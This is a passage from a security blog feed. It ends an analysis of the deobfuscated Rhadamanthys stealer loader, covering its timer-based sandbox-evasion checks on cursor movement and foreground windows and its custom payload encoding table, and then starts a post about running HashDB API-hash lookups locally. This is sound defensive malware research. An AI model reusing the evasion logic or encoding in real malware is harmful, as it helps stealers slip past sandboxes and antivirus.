  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;95&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;95&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;23&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;23&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_48E028&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_48E028&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_48E028&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_48E028&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_48E028&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_48E028&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v22&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__stdcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v22&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v22&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x8000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v22&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There are only very few obfuscation artifacts left, e.g., the assignment to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v3&lt;/code&gt; in the beginning.
In one case IDA failed to optimize a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;for&lt;/code&gt; loop update (where it says &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;j = j - 393718627 + 393718629&lt;/code&gt; instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;j += 2&lt;/code&gt;).
We can live with that ¯\_(ツ)_/¯.&lt;/p&gt;

&lt;p&gt;The ultimate test for a deobfuscator is to see if the deobfuscated application runs without issues.
Unfortunately, at the time of writing, that’s not the case for the tooling we developed.
There’s no outright crash and the initial message box appears, but a very subtle logic bug seems to prevent correct decoding of the payload.&lt;/p&gt;

&lt;h1 id=&quot;so-what-about-the-malware-loader&quot;&gt;So, what about the malware loader?&lt;/h1&gt;

&lt;p&gt;We went through all this effort to bring the code into a shape that can be reversed without too much pain.
So let’s see what the Rhadamanthys loader is actually up to.&lt;/p&gt;

&lt;p&gt;You can already glean some details from the main function printed in the previous section.&lt;/p&gt;

&lt;p&gt;One of the first consequential things that happen is a function call to 0x40F830 followed by a very conspicuous message box if successful.
As the message text implies, that function actually checks if the binary was &lt;em&gt;not&lt;/em&gt; crypted/packed.
This is implemented by doing some section parsing and reading the first 0x1000 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.text&lt;/code&gt; bytes from disk; those are simply compared with what’s in memory.&lt;/p&gt;

&lt;p&gt;Interestingly, the check disregards the fact that the binary was built with relocations and was flagged as movable.
It works regardless, because the first function is huge and doesn’t use any addresses that would need to be relocated.
The function was probably placed at that position intentionally - otherwise it’d be pure luck.&lt;/p&gt;

&lt;p&gt;Other than that, there’s lots of windowing code to register a window class and create an invisible window.
A structure called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Param&lt;/code&gt; is initialized and pretty much contains the state for the rest of the program.
It’s passed as the window’s user data pointer so that it can be retrieved later on.
The rest of the main function doesn’t actually do much; it eventually enters a classic message loop in order to support the window.&lt;/p&gt;

&lt;p&gt;Since a window is in play here, the next point of interest will usually be the so-called window procedure, or &lt;em&gt;WndProc&lt;/em&gt;.
This is called whenever the operating system has a message that either relates to the window directly or that could be relevant to the application in general (e.g., “the system is about to shut down”).&lt;/p&gt;

&lt;p&gt;The procedure handles the following messages:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WM_CREATE&lt;/code&gt;: Called after the window has been created. The malware sets up a timer with ID 2.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WM_DESTROY&lt;/code&gt;: Called when the window is about to be destroyed. The malware calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PostQuitMessage&lt;/code&gt; to essentially end the process.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WM_TIMER&lt;/code&gt;: Timer callback.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WM_CAP_SET_CALLBACK_YIELD&lt;/code&gt;: Posted by the malware itself. Queues a function pointer.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From the above, you may be able to guess that the main functionality is actually implemented using timers.
We find ourselves with a pretty convoluted scheme where many operations are executed as part of callbacks, and it’s not immediately obvious what happens in which order and under which conditions.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Timer ID 2 collects the current cursor position, foreground window and timestamp every 30 milliseconds, 1500 times. This causes a delay of at least 45 seconds until the actual payload is run.&lt;/li&gt;
  &lt;li&gt;Once it has collected everything, it will do a couple checks on the data. If the checks are successful, it queues function 0x40FBE0 and schedules timer ID 1. The checks are as follows:
    &lt;ul&gt;
      &lt;li&gt;Whether the cursor position has changed at least 30 times.&lt;/li&gt;
      &lt;li&gt;There must have been at least two foreground windows, and at least one of them must not belong to the desktop process.&lt;/li&gt;
      &lt;li&gt;If the checks fail, the loader will enter another 45 seconds interval, and it will start doing advanced checks that include calculating Euclidean distances between cursor positions. We haven’t analyzed that part in detail.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Timer ID 1 runs any queued functions.&lt;/li&gt;
  &lt;li&gt;Function 0x40FBE0 posts &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WM_CAP_SET_CALLBACK_YIELD&lt;/code&gt; with parameter 0x411850; as described above, the handler for this message simply queues the parameter as a function pointer (to the queue that timer ID 1 is working on).&lt;/li&gt;
  &lt;li&gt;0x411850 is responsible for decoding and eventually running the stealer payload. It will post additional functions using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WM_CAP_SET_CALLBACK_YIELD&lt;/code&gt; that do parts of the work.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These measures are designed to thwart execution in AV emulators and malware sandboxes.
For example, if a sandbox sets a different cursor position every 3 seconds but doesn’t simulate “fluid” movement, the captured coordinates will not exceed the threshold of 30 within 45 seconds.
CAPE and VMRay pass these checks fine, so in the end they aren’t too effective against common sandboxes.&lt;/p&gt;

&lt;h2 id=&quot;custom-binary-encoding&quot;&gt;Custom binary encoding&lt;/h2&gt;

&lt;p&gt;As promised in the intro, here’s a representation of the algorithm (function 0x416790) that is used to decode the payload strings into binary:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Input&lt;/th&gt;
      &lt;th&gt;Output&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;A-Z&lt;/td&gt;
      &lt;td&gt;0-25&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;a-z&lt;/td&gt;
      &lt;td&gt;26-51&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;0-9&lt;/td&gt;
      &lt;td&gt;52-61&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!?#$%&amp;amp;()*+-,/:;&amp;lt;&amp;gt;=@[\]^`{\|}~\n&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;62-90&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos; &apos;&lt;/code&gt; + A-Z / a-z&lt;/td&gt;
      &lt;td&gt;91-142&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;.&apos;&lt;/code&gt; + A-Z / a-z / 0-9&lt;/td&gt;
      &lt;td&gt;143-204&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;_&apos;&lt;/code&gt; + A-Z&lt;/td&gt;
      &lt;td&gt;205-230&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;_&apos;&lt;/code&gt; + a-z&lt;/td&gt;
      &lt;td&gt;231-255 + 0&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;If you’re wondering what the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+ 0&lt;/code&gt; is supposed to mean: 0 is encoded by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;A&lt;/code&gt; as well as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_z&lt;/code&gt;.
The malware doesn’t actually make use of this overflow “feature”, though.&lt;/p&gt;

&lt;p&gt;While the first three ranges are reminiscent of Base64, the algorithm is completely different from base encodings.
Up until 90, it makes use of a lookup consisting of special characters.
For the rest up until 255, there’s a two-letter encoding scheme with a special prefix character that influences the output range.&lt;/p&gt;

&lt;p&gt;I later found a &lt;a href=&quot;https://medium.com/@coormac/rhadamanthys-stealer-malware-analysis-part-two-04b8747c6498&quot;&gt;post by Cormac Conlon&lt;/a&gt; stating that the .NET-based variant of the loader also uses this algorithm, where it’s called &lt;em&gt;Flutter&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Note that in addition to this, the payload is also encrypted using a somewhat obscure Chinese block cipher called &lt;a href=&quot;https://en.wikipedia.org/wiki/SM4_(cipher)&quot;&gt;SM4&lt;/a&gt;.
The tables/constants required by the algorithm (S-Box, &lt;em&gt;FK&lt;/em&gt;, &lt;em&gt;CK&lt;/em&gt;) are obscured in function 0x405E50; they’re only loaded temporarily when needed.&lt;/p&gt;

&lt;h1 id=&quot;outro&quot;&gt;Outro&lt;/h1&gt;

&lt;p&gt;The Rhadamanthys operation has seen a &lt;a href=&quot;https://www.europol.europa.eu/media-press/newsroom/news/end-of-game-for-cybercrime-infrastructure-1025-servers-taken-down&quot;&gt;disruption&lt;/a&gt; by Operation Endgame earlier this month.
It remains to be seen if/how quickly they recover.
A lot of data stolen by the stealer was also recovered by law enforcement and provided to &lt;a href=&quot;https://haveibeenpwned.com/breach/OperationEndgame3&quot;&gt;Have I Been Pwned&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Our tooling that we developed as part of this research is available on &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/rhadamanthys-loader-deobfuscator&quot;&gt;GitHub&lt;/a&gt;.
Perhaps it will prove useful in the future if the same obfuscator is used for other malware, or if a very similar one pops up to which the code can be adapted.
Other than that, we hope the code can serve as a learning resource for how to implement a fast static deobfuscator utilizing the Capstone disassembly library.&lt;/p&gt;
</description>
        <pubDate>Wed, 19 Nov 2025 10:00:00 +0000</pubDate>
        <link>https://cyber.wtf/2025/11/19/rhadamanthys-loader-deobfuscation/</link>
        <guid isPermaLink="true">https://cyber.wtf/2025/11/19/rhadamanthys-loader-deobfuscation/</guid>
        
        <category>malware</category>
        
        <category>deobfuscation</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Running your own HashDB lookup</title>
        <description>&lt;h1 id=&quot;whats-all-the-fuss-about&quot;&gt;What’s all the fuss about?&lt;/h1&gt;
&lt;p&gt;Imagine you are just starting the analysis of your next sample and stumble across some logic that seems like the implementation of &lt;a href=&quot;https://attack.mitre.org/techniques/T1027/007/&quot;&gt;API hashing&lt;/a&gt;.
But it doesn’t worry you, because you just heard about this tool that is able to automagically resolve the hashes to the original API strings.
Your lord and savior: &lt;a href=&quot;https://github.com/OALabs/hashdb&quot;&gt;HashDB&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;But what if you don’t want to depend on some service provider because you are working with confidential files or an unpublished malware?
How can you be sure the service provider will not at some point in time be interested in your analysis behavior?
Or, most importantly, what if you just cannot reach the internet from your analysis system?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No worries, we got you!&lt;/strong&gt;&lt;/p&gt;

&lt;h1 id=&quot;run-hashdb-locally&quot;&gt;Run HashDB locally&lt;/h1&gt;
&lt;p&gt;To solve the problems above (and more) we created the HashDB database for local lookups.
Our implementation can be found on &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local&quot;&gt;GitHub&lt;/a&gt; and consists of three components:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/blob/main/hashdb.py&quot;&gt;IDA plugin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;The &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/tree/main/hashdb_builder&quot;&gt;HashDB database&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;The &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/tree/main/hashdb_hook&quot;&gt;HashDB hook&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In the following, we will explain the functionality / benefits of each component.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Download the &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/releases&quot;&gt;latest release&lt;/a&gt; and unzip it in your IDA plugins directory - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%PROGRAMFILES%/IDA/plugins/&lt;/code&gt; usually (contains a prebuilt lookup database, have a look at &lt;a href=&quot;./hashdb_builder/README.md&quot;&gt;HashDB builder&lt;/a&gt; on how to build your own)&lt;/li&gt;
  &lt;li&gt;Create the directory &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%LOCALAPPDATA%/hashdb/&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Move the file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hashdb.sqlite3&lt;/code&gt; to the location &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%LOCALAPPDATA%/hashdb/&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Done&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;ida-plugin&quot;&gt;IDA plugin&lt;/h2&gt;
&lt;p&gt;The plugin is a fork of the &lt;a href=&quot;https://github.com/OALabs/hashdb-ida&quot;&gt;original implementation made by OALabs&lt;/a&gt;.
For an exhaustive explanation look at the &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/blob/main/README.md&quot;&gt;README&lt;/a&gt;.
In short the plugin is able to find the hash algorithm in use, use a static xor value, create an enum to replace hash constants with its API name and more.&lt;/p&gt;

&lt;p&gt;Originally the plugin used the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requests&lt;/code&gt; module to communicate with the remote HashDB lookup service.
Therefore we had to make some changes here.
We wanted to change the original code as little as possible because of forward compatibility.
The most straight-forward solution was to implement our own “requests” methods that can be used as replacement in the plugin.
The logic is implemented in our hook.
To make sure the plugin gets adapted accordingly, we created a &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/blob/main/local.patch&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;patch&lt;/code&gt; file&lt;/a&gt; that can be used to simply replace the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requests&lt;/code&gt; import with our own implementation.&lt;/p&gt;

&lt;h2 id=&quot;local-hashdb-database&quot;&gt;Local HashDB database&lt;/h2&gt;
&lt;p&gt;The core component of the local HashDB implementation is the database with all needed information to make local hash lookups.
This database is filled with information from three sources:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Hash algorithm implementations&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/blob/main/hashdb_builder/functions_with_forwards.sqlite3&quot;&gt;SQLite database&lt;/a&gt; with information about relevant Windows APIs and module namens&lt;/li&gt;
  &lt;li&gt;A &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/blob/main/hashdb_builder/strings.txt&quot;&gt;file&lt;/a&gt; with strings that should be added to the lookup database&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;hash-algorithms&quot;&gt;Hash algorithms&lt;/h3&gt;
&lt;p&gt;To be able to fill the database with the needed string to hash mappings, we need the implementation of all algorithms used for API hashing (or at least, as many as possible).
Luckily, there is a &lt;a href=&quot;https://github.com/OALabs/hashdb&quot;&gt;public repo by OALabs&lt;/a&gt;, that contains plenty of them.
If you want to add your own algorithms you can always do so by adding the implementation of it in the &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/tree/main/hashdb_builder/algorithms/&quot;&gt;algorithms folder&lt;/a&gt;.
The implementation has to be in the following form:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env python
&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;DESCRIPTION&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;your hash description here&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;EXTENDED_PERMUTATION&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# set on true only if extended permutations is needed
# Type can be either &apos;unsigned_int&apos; (32bit) or &apos;unsigned_long&apos; (64bit)
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TYPE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;unsigned_int&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Test must match the exact hash of the string &apos;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789&apos;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TEST_1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hash_of_string_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# your implementation here
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Also if you add a new algorithm to your local database and it’s not top secret: Make sure to add it to &lt;a href=&quot;https://github.com/OALabs/hashdb&quot;&gt;OALabs repo&lt;/a&gt; as well to help the community!&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;database-of-windows-apis--modules-and-list-of-strings&quot;&gt;Database of Windows APIs / modules and list of strings&lt;/h3&gt;
&lt;p&gt;Furthermore we added a &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/blob/main/hashdb_builder/functions_with_forwards.sqlite3&quot;&gt;database&lt;/a&gt; with relevant Windows modules and APIs. Additionally a &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/blob/main/hashdb_builder/strings.txt&quot;&gt;strings file&lt;/a&gt; is used to add custom strings to the HashDB lookup database.
You can use both files to add information that you want HashDB to be able to lookup.
This is easy for random strings that you have found hashed in your samples: Just put them into the strings file.
If you want to add a module that is not already in the prepared you can use the &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/blob/main/hashdb_builder/make_function_db.py&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;make_function_db.py&lt;/code&gt; script&lt;/a&gt;.
To use it you have to follow these two steps:&lt;/p&gt;

